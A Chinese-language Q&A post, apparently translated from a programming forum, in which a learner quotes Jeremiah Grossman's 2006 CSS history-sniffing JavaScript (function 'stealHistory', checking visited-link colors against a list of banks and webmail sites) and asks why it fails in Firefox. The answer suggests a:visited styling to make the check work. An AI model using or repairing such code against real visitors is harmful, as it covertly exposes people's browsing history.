Jeremiah Grossman 用于浏览器历史 CSS 的 JavaScript 代码

Question

我正在尝试学习 JavaScript，但对 Jeremiah Grossman 的这段特定代码有疑问，可以在 http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html。

我相信这是 2006 年的旧帖子。它主要使用 JavaScript 和 CSS 来查找浏览器历史记录中访问过的链接。

<script type="text/javascript">
var agent = navigator.userAgent.toLowerCase();
var is_mozilla = (agent.indexOf("mozilla") != -1);

// popular websites. Lookup if user has visited any.
var websites = [
  "http://ajaxian.com/",
  "http://digg.com/",
  "http://english.aljazeera.net/HomePage",
  "http://ha.ckers.org",
  "http://ha.ckers.org/blog/",
  "http://jeremiahgrossman.blogspot.com/",
  "http://login.yahoo.com/",
  "http://mail.google.com/",
  "http://mail.yahoo.com/",
  "http://my.yahoo.com/",
  "http://reddit.com/",
  "http://seoblackhat.com",
  "http://slashdot.org/",
  "http://techfoolery.com/",
  "http://weblogs.asp.net/jezell/",
  "http://www.amazon.com/",
  "http://www.aol.com/",
  "http://www.bankofamerica.com/",
  "http://www.bankone.com/",
  "http://www.blackhat.com/",
  "http://www.blogger.com/",
  "http://www.bloglines.com/",
  "http://www.bofa.com/",
  "http://www.capitalone.com/",
  "http://www.cenzic.com",
  "http://www.cgisecurity.com",
  "http://www.chase.com/",
  "http://www.citibank.com/",
  "http://www.cnn.com/",
  "http://www.comerica.com/",
  "http://www.e-gold.com/",
  "http://www.ebay.com/",
  "http://www.etrade.com/",
  "http://www.expedia.com/",
  "http://www.google.com/",
  "http://www.hsbc.com/",
  "http://www.icq.com/",
  "http://www.jailbabes.com",
  "http://www.microsoft.com/",
  "http://www.msn.com/",
  "http://www.myspace.com/",
  "http://www.ntobjectives.com",
  "http://www.passport.net/",
  "http://www.paypal.com/",
  "http://www.sourceforge.net/",
  "http://www.spidynamics.com",
  "http://www.statefarm.com/",
  "http://www.usbank.com/",
  "http://www.wachovia.com/",
  "http://www.wamu.com/",
  "http://www.watchfire.com",
  "http://www.webappsec.org",
  "http://www.wellsfargo.com/",
  "http://www.whitehatsec.com",
  "http://www.xanga.com/",
  "http://www.yahoo.com/",
  "http://seoblackhat.com/",
  "http://www.alexa.com/",
  "http://www.youtube.com/",
  "https://banking.wellsfargo.com/",
  "https://commerce.blackhat.com/",
  "https://online.wellsfargo.com/",
];

/* prevent multiple XSS loads */
if (! document.getElementById('xss_flag')) {

  var d = document.createElement('div');
  d.id = 'xss_flag';
  document.body.appendChild(d);

  var d = document.createElement('table');
  d.border = 0;
  d.cellpadding = 5;
  d.cellspacing = 10;
  d.width = '90%';
  d.align = 'center';
  d.id = 'data';
  document.body.appendChild(d);

  /* launch steal history */

if (is_mozilla) {
  stealHistory();
}

}

function stealHistory() {

  // loop through websites and check which ones have been visited
  for (var i = 0; i < websites.length; i++) {          
         var link = document.createElement("a");       
         link.id = "id" + i;       
         link.href = websites[i];       
         link.innerHTML = websites[i];              
         document.body.appendChild(link);       
         var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");       
         document.body.removeChild(link);       
// check for visited       
     if (color == "rgb(0, 0, 255)") {           
         document.write('' + websites[i] + '');
      } // end visited check
  
  } // end visited website loop

} // end stealHistory method
</script>

然而，6 小时后，我试图让它正常工作，但遇到了问题。我发现它不起作用的原因是下面的 if()

// check for visited       
     if (color == "rgb(0, 0, 255)") {           
         document.write('' + websites[i] + '');
      } // end visited check

在 if() 之前，我检查了 var 'color' 中设置的颜色，并且数组中每个元素的所有链接都返回 `rgb(0, 0, 238）？我不确定这些颜色的含义以及如何将其变为 0,0,255 以便 if() 起作用？

我猜我可能有最新的 Firefox 版本 8.0.1？我访问过一些链接，因此它们确实存在于我的浏览器历史记录中，但返回的颜色没有改变？ 任何帮助将不胜感激，感谢您的宝贵时间。

Answer 1

如果您使用 css 定义 a:link, a:visited 颜色，您将可以轻松检查，例如，看看是否有帮助。

<style>
  a:link{color:green}
  a:visited {color:#993300}
 </style>


    // check for visited       
     if (color == "#993300") {           
      document.write('' + websites[i] + '');
    } // end visited check